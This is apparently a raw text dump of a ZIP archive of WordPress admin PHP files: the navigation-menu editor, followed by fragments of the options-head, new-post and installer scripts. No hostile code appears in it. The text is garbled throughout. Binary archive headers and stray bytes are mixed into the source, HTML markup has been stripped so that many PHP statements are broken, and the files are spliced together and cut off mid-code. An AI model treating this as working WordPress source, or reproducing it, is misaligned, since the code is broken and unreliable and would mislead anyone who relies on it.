?????????????? PK!ƈ nav-menus.phpnu[' . __( 'You need a higher level of permission.' ) . '' . '

' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '

', 403 ); } // Used in the HTML title tag. $title = __( 'Menus' ); wp_enqueue_script( 'nav-menu' ); if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } // Container for any messages displayed to the user. $messages = array(); // Container that stores the name of the active menu. $nav_menu_selected_title = ''; // The menu id of the current menu being edited. $nav_menu_selected_id = isset( $_REQUEST['menu'] ) ? (int) $_REQUEST['menu'] : 0; // Get existing menu locations assignments. $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); $num_locations = count( array_keys( $locations ) ); // Allowed actions: add, update, delete. $action = $_REQUEST['action'] ?? 'edit'; /* * If a JSON blob of navigation menu data is found, expand it and inject it * into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134. */ _wp_expand_nav_menu_post_data(); switch ( $action ) { case 'add-menu-item': check_admin_referer( 'add-menu_item', 'menu-settings-column-nonce' ); if ( isset( $_REQUEST['nav-menu-locations'] ) ) { set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_REQUEST['menu-locations'] ) ); } elseif ( isset( $_REQUEST['menu-item'] ) ) { wp_save_nav_menu_items( $nav_menu_selected_id, $_REQUEST['menu-item'] ); } break; case 'move-down-menu-item': // Moving down a menu item is the same as moving up the next in order. check_admin_referer( 'move-menu_item' ); $menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0; if ( is_nav_menu_item( $menu_item_id ) ) { $menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) { $menu_id = (int) $menus[0]; $ordered_menu_items = wp_get_nav_menu_items( $menu_id ); $menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) ); // Set up the data we need in one pass through the array of menu items. $dbids_to_orders = array(); $orders_to_dbids = array(); foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) { if ( isset( $ordered_menu_item_object->ID ) ) { if ( isset( $ordered_menu_item_object->menu_order ) ) { $dbids_to_orders[ $ordered_menu_item_object->ID ] = $ordered_menu_item_object->menu_order; $orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID; } } } // Get next in order. if ( isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ] ) ) { $next_item_id = $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ]; $next_item_data = (array) wp_setup_nav_menu_item( get_post( $next_item_id ) ); // If not siblings of same parent, bubble menu item up but keep order. if ( ! empty( $menu_item_data['menu_item_parent'] ) && ( empty( $next_item_data['menu_item_parent'] ) || (int) $next_item_data['menu_item_parent'] !== (int) $menu_item_data['menu_item_parent'] ) ) { if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $parent_db_id = (int) $menu_item_data['menu_item_parent']; } else { $parent_db_id = 0; } $parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) ); if ( ! is_wp_error( $parent_object ) ) { $parent_data = (array) $parent_object; $menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent']; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); } // Make menu item a child of its next sibling. } else { $next_item_data['menu_order'] = $next_item_data['menu_order'] - 1; $menu_item_data['menu_order'] = $menu_item_data['menu_order'] + 1; $menu_item_data['menu_item_parent'] = $next_item_data['ID']; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); wp_update_post( $next_item_data ); } // The item is last but still has a parent, so bubble up. } elseif ( ! empty( $menu_item_data['menu_item_parent'] ) && in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $menu_item_data['menu_item_parent'] = (int) get_post_meta( $menu_item_data['menu_item_parent'], '_menu_item_menu_item_parent', true ); // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); } } } break; case 'move-up-menu-item': check_admin_referer( 'move-menu_item' ); $menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0; if ( is_nav_menu_item( $menu_item_id ) ) { if ( isset( $_REQUEST['menu'] ) ) { $menus = array( (int) $_REQUEST['menu'] ); } else { $menus = wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); } if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) { $menu_id = (int) $menus[0]; $ordered_menu_items = wp_get_nav_menu_items( $menu_id ); $menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) ); // Set up the data we need in one pass through the array of menu items. $dbids_to_orders = array(); $orders_to_dbids = array(); foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) { if ( isset( $ordered_menu_item_object->ID ) ) { if ( isset( $ordered_menu_item_object->menu_order ) ) { $dbids_to_orders[ $ordered_menu_item_object->ID ] = $ordered_menu_item_object->menu_order; $orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID; } } } // If this menu item is not first. if ( ! empty( $dbids_to_orders[ $menu_item_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) ) { // If this menu item is a child of the previous. if ( ! empty( $menu_item_data['menu_item_parent'] ) && in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true ) && isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) && ( (int) $menu_item_data['menu_item_parent'] === $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) ) { if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $parent_db_id = (int) $menu_item_data['menu_item_parent']; } else { $parent_db_id = 0; } $parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) ); if ( ! is_wp_error( $parent_object ) ) { $parent_data = (array) $parent_object; /* * If there is something before the parent and parent a child of it, * make menu item a child also of it. */ if ( ! empty( $dbids_to_orders[ $parent_db_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] ) && ! empty( $parent_data['menu_item_parent'] ) ) { $menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent']; /* * Else if there is something before parent and parent not a child of it, * make menu item a child of that something's parent */ } elseif ( ! empty( $dbids_to_orders[ $parent_db_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] ) ) { $_possible_parent_id = (int) get_post_meta( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ], '_menu_item_menu_item_parent', true ); if ( in_array( $_possible_parent_id, array_keys( $dbids_to_orders ), true ) ) { $menu_item_data['menu_item_parent'] = $_possible_parent_id; } else { $menu_item_data['menu_item_parent'] = 0; } // Else there isn't something before the parent. } else { $menu_item_data['menu_item_parent'] = 0; } // Set former parent's [menu_order] to that of menu-item's. $parent_data['menu_order'] = $parent_data['menu_order'] + 1; // Set menu-item's [menu_order] to that of former parent. $menu_item_data['menu_order'] = $menu_item_data['menu_order'] - 1; // Save changes. update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); wp_update_post( $parent_data ); } // Else this menu item is not a child of the previous. } elseif ( empty( $menu_item_data['menu_order'] ) || empty( $menu_item_data['menu_item_parent'] ) || ! in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true ) || empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) || $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] !== (int) $menu_item_data['menu_item_parent'] ) { // Just make it a child of the previous; keep the order. $menu_item_data['menu_item_parent'] = (int) $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ]; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); } } } } break; case 'delete-menu-item': $menu_item_id = (int) $_REQUEST['menu-item']; check_admin_referer( 'delete-menu_item_' . $menu_item_id ); if ( is_nav_menu_item( $menu_item_id ) && wp_delete_post( $menu_item_id, true ) ) { $messages[] = wp_get_admin_notice( __( 'The menu item has been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'delete': check_admin_referer( 'delete-nav_menu-' . $nav_menu_selected_id ); if ( is_nav_menu( $nav_menu_selected_id ) ) { $deletion = wp_delete_nav_menu( $nav_menu_selected_id ); } else { // Reset the selected menu. $nav_menu_selected_id = 0; unset( $_REQUEST['menu'] ); } if ( ! isset( $deletion ) ) { break; } if ( is_wp_error( $deletion ) ) { $messages[] = wp_get_admin_notice( $deletion->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $messages[] = wp_get_admin_notice( __( 'The menu has been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'delete_menus': check_admin_referer( 'nav_menus_bulk_actions' ); foreach ( $_REQUEST['delete_menus'] as $menu_id_to_delete ) { if ( ! is_nav_menu( $menu_id_to_delete ) ) { continue; } $deletion = wp_delete_nav_menu( $menu_id_to_delete ); if ( is_wp_error( $deletion ) ) { $messages[] = wp_get_admin_notice( $deletion->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); $deletion_error = true; } } if ( empty( $deletion_error ) ) { $messages[] = wp_get_admin_notice( __( 'Selected menus have been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'update': check_admin_referer( 'update-nav_menu', 'update-nav-menu-nonce' ); // Merge new and existing menu locations if any new ones are set. $new_menu_locations = array(); if ( isset( $_POST['menu-locations'] ) ) { $new_menu_locations = array_map( 'absint', $_POST['menu-locations'] ); $menu_locations = array_merge( $menu_locations, $new_menu_locations ); } // Add Menu. if ( 0 === $nav_menu_selected_id ) { $new_menu_title = trim( esc_html( $_POST['menu-name'] ) ); if ( $new_menu_title ) { $_nav_menu_selected_id = wp_update_nav_menu_object( 0, array( 'menu-name' => $new_menu_title ) ); if ( is_wp_error( $_nav_menu_selected_id ) ) { $messages[] = wp_get_admin_notice( $_nav_menu_selected_id->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id ); $nav_menu_selected_id = $_nav_menu_selected_id; $nav_menu_selected_title = $_menu_object->name; if ( isset( $_REQUEST['menu-item'] ) ) { wp_save_nav_menu_items( $nav_menu_selected_id, absint( $_REQUEST['menu-item'] ) ); } if ( isset( $_REQUEST['zero-menu-state'] ) || ! empty( $_POST['auto-add-pages'] ) ) { // If there are menu items, add them. wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title ); } if ( isset( $_REQUEST['zero-menu-state'] ) ) { // Auto-save nav_menu_locations. $locations = get_nav_menu_locations(); foreach ( $locations as $location => $menu_id ) { $locations[ $location ] = $nav_menu_selected_id; break; // There should only be 1. } set_theme_mod( 'nav_menu_locations', $locations ); } elseif ( count( $new_menu_locations ) > 0 ) { // If locations have been selected for the new menu, save those. $locations = get_nav_menu_locations(); foreach ( array_keys( $new_menu_locations ) as $location ) { $locations[ $location ] = $nav_menu_selected_id; } set_theme_mod( 'nav_menu_locations', $locations ); } if ( isset( $_REQUEST['use-location'] ) ) { $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); if ( isset( $locations[ $_REQUEST['use-location'] ] ) ) { $menu_locations[ $_REQUEST['use-location'] ] = $nav_menu_selected_id; } set_theme_mod( 'nav_menu_locations', $menu_locations ); } wp_redirect( admin_url( 'nav-menus.php?menu=' . $_nav_menu_selected_id ) ); exit; } } else { $messages[] = wp_get_admin_notice( __( 'Please enter a valid menu name.' ), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } // Update existing menu. } else { // Remove menu locations that have been unchecked. foreach ( $locations as $location => $description ) { if ( ( empty( $_POST['menu-locations'] ) || empty( $_POST['menu-locations'][ $location ] ) ) && isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] === $nav_menu_selected_id ) { unset( $menu_locations[ $location ] ); } } // Set menu locations. set_theme_mod( 'nav_menu_locations', $menu_locations ); $_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id ); $menu_title = trim( esc_html( $_POST['menu-name'] ) ); if ( ! $menu_title ) { $messages[] = wp_get_admin_notice( __( 'Please enter a valid menu name.' ), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); $menu_title = $_menu_object->name; } if ( ! is_wp_error( $_menu_object ) ) { $_nav_menu_selected_id = wp_update_nav_menu_object( $nav_menu_selected_id, array( 'menu-name' => $menu_title ) ); if ( is_wp_error( $_nav_menu_selected_id ) ) { $_menu_object = $_nav_menu_selected_id; $messages[] = wp_get_admin_notice( $_nav_menu_selected_id->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id ); $nav_menu_selected_title = $_menu_object->name; } } // Update menu items. if ( ! is_wp_error( $_menu_object ) ) { $messages = array_merge( $messages, wp_nav_menu_update_menu_items( $_nav_menu_selected_id, $nav_menu_selected_title ) ); // If the menu ID changed, redirect to the new URL. if ( $nav_menu_selected_id !== $_nav_menu_selected_id ) { wp_redirect( admin_url( 'nav-menus.php?menu=' . (int) $_nav_menu_selected_id ) ); exit; } } } break; case 'locations': if ( ! $num_locations ) { wp_redirect( admin_url( 'nav-menus.php' ) ); exit; } add_filter( 'screen_options_show_screen', '__return_false' ); if ( isset( $_POST['menu-locations'] ) ) { check_admin_referer( 'save-menu-locations' ); $new_menu_locations = array_map( 'absint', $_POST['menu-locations'] ); $menu_locations = array_merge( $menu_locations, $new_menu_locations ); // Set menu locations. set_theme_mod( 'nav_menu_locations', $menu_locations ); $messages[] = wp_get_admin_notice( __( 'Menu locations updated.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; } // Get all nav menus. $nav_menus = wp_get_nav_menus(); $menu_count = count( $nav_menus ); // Are we on the add new screen? $add_new_screen = isset( $_GET['menu'] ) && 0 === (int) $_GET['menu']; $locations_screen = isset( $_GET['action'] ) && 'locations' === $_GET['action']; $page_count = wp_count_posts( 'page' ); /* * If we have one registered menu location, and zero menus, we take them right * into editing their first menu. */ if ( 1 === count( get_registered_nav_menus() ) && ! $add_new_screen && empty( $nav_menus ) && ! empty( $page_count->publish ) ) { $one_theme_location_no_menus = true; } else { $one_theme_location_no_menus = false; } $nav_menus_l10n = array( 'oneThemeLocationNoMenus' => $one_theme_location_no_menus, 'moveUp' => __( 'Move up one' ), 'moveDown' => __( 'Move down one' ), 'moveToTop' => __( 'Move to the top' ), /* translators: %s: Previous item name. */ 'moveUnder' => __( 'Move under %s' ), /* translators: %s: Previous item name. */ 'moveOutFrom' => __( 'Move out from under %s' ), /* translators: %s: Previous item name. */ 'under' => __( 'Under %s' ), /* translators: %s: Previous item name. */ 'outFrom' => __( 'Out from under %s' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items. */ 'menuFocus' => __( 'Edit %1$s (%2$s, %3$d of %4$d)' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items, 5: Item parent. */ 'subMenuFocus' => __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s)' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items, 5: Item parent, 6: Item depth. */ 'subMenuMoreDepthFocus' => __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s, level %6$d)' ), /* translators: %s: Item name. */ 'menuItemDeletion' => __( 'item %s' ), /* translators: %s: Item name. */ 'itemsDeleted' => __( 'Deleted menu item: %s.' ), 'itemAdded' => __( 'Menu item added' ), 'itemRemoved' => __( 'Menu item removed' ), 'movedUp' => __( 'Menu item moved up' ), 'movedDown' => __( 'Menu item moved down' ), 'movedTop' => __( 'Menu item moved to the top' ), 'movedLeft' => __( 'Menu item moved out of submenu' ), 'movedRight' => __( 'Menu item is now a sub-item' ), 'parentUpdated' => __( 'Menu parent updated' ), 'orderUpdated' => __( 'Menu order updated' ), ); wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n ); /* * Redirect to add screen if there are no menus and this user has either zero * or more than one registered menu location. */ if ( 0 === $menu_count && ! $add_new_screen && ! $one_theme_location_no_menus ) { wp_redirect( admin_url( 'nav-menus.php?action=edit&menu=0' ) ); } // Get recently edited nav menu. $recently_edited = absint( get_user_option( 'nav_menu_recently_edited' ) ); if ( empty( $recently_edited ) && is_nav_menu( $nav_menu_selected_id ) ) { $recently_edited = $nav_menu_selected_id; } // Use $recently_edited if none are selected. if ( empty( $nav_menu_selected_id ) && ! isset( $_GET['menu'] ) && is_nav_menu( $recently_edited ) ) { $nav_menu_selected_id = $recently_edited; } // On deletion of menu, if another menu exists, show it. if ( ! $add_new_screen && $menu_count > 0 && isset( $_GET['action'] ) && 'delete' === $_GET['action'] ) { $nav_menu_selected_id = $nav_menus[0]->term_id; } // Set $nav_menu_selected_id to 0 if no menus. if ( $one_theme_location_no_menus ) { $nav_menu_selected_id = 0; } elseif ( empty( $nav_menu_selected_id ) && ! empty( $nav_menus ) && ! $add_new_screen ) { // If we have no selection yet, and we have menus, set to the first one in the list. $nav_menu_selected_id = $nav_menus[0]->term_id; } // Update the user's setting. if ( $nav_menu_selected_id !== $recently_edited && is_nav_menu( $nav_menu_selected_id ) ) { update_user_meta( $current_user->ID, 'nav_menu_recently_edited', $nav_menu_selected_id ); } // If there's a menu, get its name. if ( ! $nav_menu_selected_title && is_nav_menu( $nav_menu_selected_id ) ) { $_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id ); $nav_menu_selected_title = ! is_wp_error( $_menu_object ) ? $_menu_object->name : ''; } // Generate truncated menu names. foreach ( (array) $nav_menus as $key => $_nav_menu ) { $nav_menus[ $key ]->truncated_name = wp_html_excerpt( $_nav_menu->name, 40, '…' ); } // Retrieve menu locations. if ( current_theme_supports( 'menus' ) ) { $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); } /* * Ensure the user will be able to scroll horizontally * by adding a class for the max menu depth. * * @global int $_wp_nav_menu_max_depth */ global $_wp_nav_menu_max_depth; $_wp_nav_menu_max_depth = 0; // Calling wp_get_nav_menu_to_edit generates $_wp_nav_menu_max_depth. if ( is_nav_menu( $nav_menu_selected_id ) ) { $menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'post_status' => 'any' ) ); $edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id ); } /** * Adds a CSS class to display the max depth of the navigation menu. * * @since 3.0.0 * * @global int $_wp_nav_menu_max_depth Maximum depth of the navigation menu. * * @param string $classes Existing CSS classes for the body tag. * @return string Modified CSS classes including the menu max depth class. */ function wp_nav_menu_max_depth( $classes ) { global $_wp_nav_menu_max_depth; return "$classes menu-max-depth-$_wp_nav_menu_max_depth"; } add_filter( 'admin_body_class', 'wp_nav_menu_max_depth' ); wp_nav_menu_setup(); wp_initial_nav_menu_meta_boxes(); if ( ! current_theme_supports( 'menus' ) && ! $num_locations ) { $message_no_theme_support = sprintf( /* translators: %s: URL to Widgets screen. */ __( 'Your theme does not natively support menus, but you can use them in sidebars by adding a “Navigation Menu” widget on the Widgets screen.' ), admin_url( 'widgets.php' ) ); $messages[] = wp_get_admin_notice( $message_no_theme_support, array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } if ( ! $locations_screen ) : // Main tab. $overview = '

' . __( 'This screen is used for managing your navigation menus.' ) . '

'; $overview .= '

' . sprintf( /* translators: 1: URL to Widgets screen, 2 and 3: The names of the default themes. */ __( 'Menus can be displayed in locations defined by your theme, even used in sidebars by adding a “Navigation Menu” widget on the Widgets screen. If your theme does not support the navigation menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the documentation link to the side.' ), admin_url( 'widgets.php' ), 'Twenty Twenty', 'Twenty Twenty-One' ) . '

'; $overview .= '

' . __( 'From this screen you can:' ) . '

'; $overview .= ''; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $overview, ) ); $menu_management = '

' . __( 'The menu management box at the top of the screen is used to control which menu is opened in the editor below.' ) . '

'; $menu_management .= ''; $menu_management .= '

' . __( 'You can assign individual menus to the theme’s menu locations by selecting the desired settings at the bottom of the menu editor. To assign menus to all theme menu locations at once, visit the Manage Locations tab at the top of the screen.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'menu-management', 'title' => __( 'Menu Management' ), 'content' => $menu_management, ) ); $editing_menus = '

' . __( 'Each navigation menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below.' ) . '

'; $editing_menus .= '

' . __( 'Clicking the arrow to the right of any menu item in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab.' ) . '

'; $editing_menus .= ''; get_current_screen()->add_help_tab( array( 'id' => 'editing-menus', 'title' => __( 'Editing Menus' ), 'content' => $editing_menus, ) ); else : // Locations tab. $locations_overview = '

' . __( 'This screen is used for globally assigning menus to locations defined by your theme.' ) . '

'; $locations_overview .= ''; get_current_screen()->add_help_tab( array( 'id' => 'locations-overview', 'title' => __( 'Overview' ), 'content' => $locations_overview, ) ); endif; get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Menus' ) . '

' . '

' . __( 'Support forums' ) . '

' ); // Get the admin header. require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

'menu_locations' ) : array( 'panel' => 'nav_menus' ); printf( ' %2$s', esc_url( add_query_arg( array( array( 'autofocus' => $focus ), 'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), ), admin_url( 'customize.php' ) ) ), __( 'Manage with Live Preview' ) ); endif; $nav_tab_active_class = ''; $nav_aria_current = ''; if ( ! isset( $_GET['action'] ) || isset( $_GET['action'] ) && 'locations' !== $_GET['action'] ) { $nav_tab_active_class = ' nav-tab-active'; $nav_aria_current = ' aria-current="page"'; } ?>
' . __( 'Your theme supports one menu. Select which menu you would like to use.' ) . '

'; } else { echo '

' . sprintf( /* translators: %s: Number of menus. */ _n( 'Your theme supports %s menu. Select which menu appears in each location.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '

'; } ?>
create a new menu. Do not forget to save your changes!' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, ), admin_url( 'nav-menus.php' ) ) ) ); ?>
create a new menu. Do not forget to save your changes!' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, ), admin_url( 'nav-menus.php' ) ) ) ); ?>
PK!}|ffoptions-head.phpnu[ true ) ), true ) ) { $post_type = $_GET['post_type']; } else { wp_die( __( 'Invalid post type.' ) ); } $post_type_object = get_post_type_object( $post_type ); if ( 'post' === $post_type ) { $parent_file = 'edit.php'; $submenu_file = 'post-new.php'; } elseif ( 'attachment' === $post_type ) { if ( wp_redirect( admin_url( 'media-new.php' ) ) ) { exit; } } else { $submenu_file = "post-new.php?post_type=$post_type"; if ( isset( $post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) { $parent_file = $post_type_object->show_in_menu; // What if there isn't a post-new.php item for this post type? if ( ! isset( $_registered_pages[ get_plugin_page_hookname( "post-new.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) { if ( isset( $_registered_pages[ get_plugin_page_hookname( "edit.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) { // Fall back to edit.php for that post type, if it exists. $submenu_file = "edit.php?post_type=$post_type"; } else { // Otherwise, give up and highlight the parent. $submenu_file = $parent_file; } } } else { $parent_file = "edit.php?post_type=$post_type"; } } $title = $post_type_object->labels->add_new_item; $editing = true; if ( ! current_user_can( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->create_posts ) ) { wp_die( '

' . __( 'You need a higher level of permission.' ) . '

' . '

' . __( 'Sorry, you are not allowed to create posts as this user.' ) . '

', 403 ); } $post = get_default_post_to_edit( $post_type, true ); $post_ID = $post->ID; /** This filter is documented in wp-admin/post.php */ if ( apply_filters( 'replace_editor', false, $post ) !== true ) { if ( use_block_editor_for_post( $post ) ) { require ABSPATH . 'wp-admin/edit-form-blocks.php'; } else { wp_enqueue_script( 'autosave' ); require ABSPATH . 'wp-admin/edit-form-advanced.php'; } } else { // Flag that we're not loading the block editor. $current_screen = get_current_screen(); $current_screen->is_block_editor( false ); } require_once ABSPATH . 'wp-admin/admin-footer.php'; PK!c(GG install.phpnu[ Error: PHP is not running

Error: PHP is not running

WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.

> <?php _e( 'WordPress › Installation' ); ?> get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->users ) ) ) !== null ); // Ensure that sites appear in search engines by default. $blog_public = 1; if ( isset( $_POST['weblog_title'] ) ) { $blog_public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : $blog_public; } $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; if ( ! is_null( $error ) ) { ?>

'submit' ) ); ?>

' . __( 'Already Installed' ) . '' . '

' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '

' . '

' . __( 'Log In' ) . '

' . '' ); } /** * @global string $wp_version The WordPress version string. * @global string $required_php_version The minimum required PHP version string. * @global string[] $required_php_extensions The names of required PHP extensions. * @global string $required_mysql_version The minimum required MySQL version string. * @global wpdb $wpdb WordPress database abstraction object. */ global $wp_version, $required_php_version, $required_php_extensions, $required_mysql_version, $wpdb; $php_version = PHP_VERSION; $mysql_version = $wpdb->db_version(); $php_compat = version_compare( $php_version, $required_php_version, '>=' ); $mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' ); $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $php_update_message = '

' . sprintf( /* translators: %s: URL to Update PHP page. */ __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); $annotation = wp_get_update_php_annotation(); if ( $annotation ) { $php_update_message .= '

' . $annotation . ''; } if ( ! $mysql_compat && ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */ __( 'You cannot install because WordPress %2$s requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ), $version_url, $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) . $php_update_message; } elseif ( ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */ __( 'You cannot install because WordPress %2$s requires PHP version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_php_version, $php_version ) . $php_update_message; } elseif ( ! $mysql_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */ __( 'You cannot install because WordPress %2$s requires MySQL version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_mysql_version, $mysql_version ); } if ( ! $mysql_compat || ! $php_compat ) { display_header(); die( '

' . __( 'Requirements Not Met' ) . '

' . $compat . '

' ); } if ( isset( $required_php_extensions ) && is_array( $required_php_extensions ) ) { $missing_extensions = array(); foreach ( $required_php_extensions as $extension ) { if ( extension_loaded( $extension ) ) { continue; } $missing_extensions[] = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: The PHP extension name needed. */ __( 'You cannot install because WordPress %2$s requires the %3$s PHP extension.' ), $version_url, $wp_version, $extension ); } if ( count( $missing_extensions ) > 0 ) { display_header(); die( '

' . __( 'Requirements Not Met' ) . '

' . implode( '

', $missing_extensions ) . '

' ); } } if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) { display_header(); die( '

' . __( 'Configuration Error' ) . '

' . '

